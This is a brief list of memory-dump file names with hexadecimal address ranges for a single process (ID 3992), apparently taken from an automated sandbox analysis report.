memory/3992-24-0x0000000007340000-0x000000000739E000-memory.dmp

memory/3992-25-0x00000000083A0000-0x0000000008946000-memory.dmp

memory/3992-26-0x00000000074B0000-0x0000000007542000-memory.dmp

memory/3992-27-0x0000000004E70000-0x0000000004E82000-memory.dmp

memory/3992-29-0x00000000746AE000-0x00000000746AF000-memory.dmp

memory/3992-30-0x00000000746A0000-0x0000000074E51000-memory.dmp

memory/3992-32-0x00000000746A0000-0x0000000074E51000-memory.dmp